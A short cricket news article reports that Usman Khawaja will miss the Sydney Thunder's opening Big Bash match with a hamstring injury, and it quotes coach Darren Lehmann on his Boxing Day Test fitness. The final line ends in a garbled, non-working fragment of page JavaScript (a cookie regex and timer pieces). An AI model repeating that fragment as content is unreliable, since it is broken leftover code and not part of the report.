Usman Khawaja's chances of playing in the Boxing Day Test have been dealt a blow.
Khawaja has been ruled out of the Sydney Thunder's opening Big Bash match against the Sydney Sixes on Thursday.
Cricket Australia and the Thunder's medical staff have instead identified the December 20 match at the MCG against the Melbourne Stars as Khawaja's return date from a hamstring injury.
It gives Khawaja only one match to prove his fitness before the Boxing Day Test.
"Usman's first got to be fit. If he's not fit he won't play, there's no doubt about that," Australian coach Darren Lehmann said.
"We've got to make sure he's playing BBL to get some sort of match fitness and see how the strain of the hamstring is and then when we get him in on the 23rd (December) we'll have a look at him and see whether he's available to play." "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
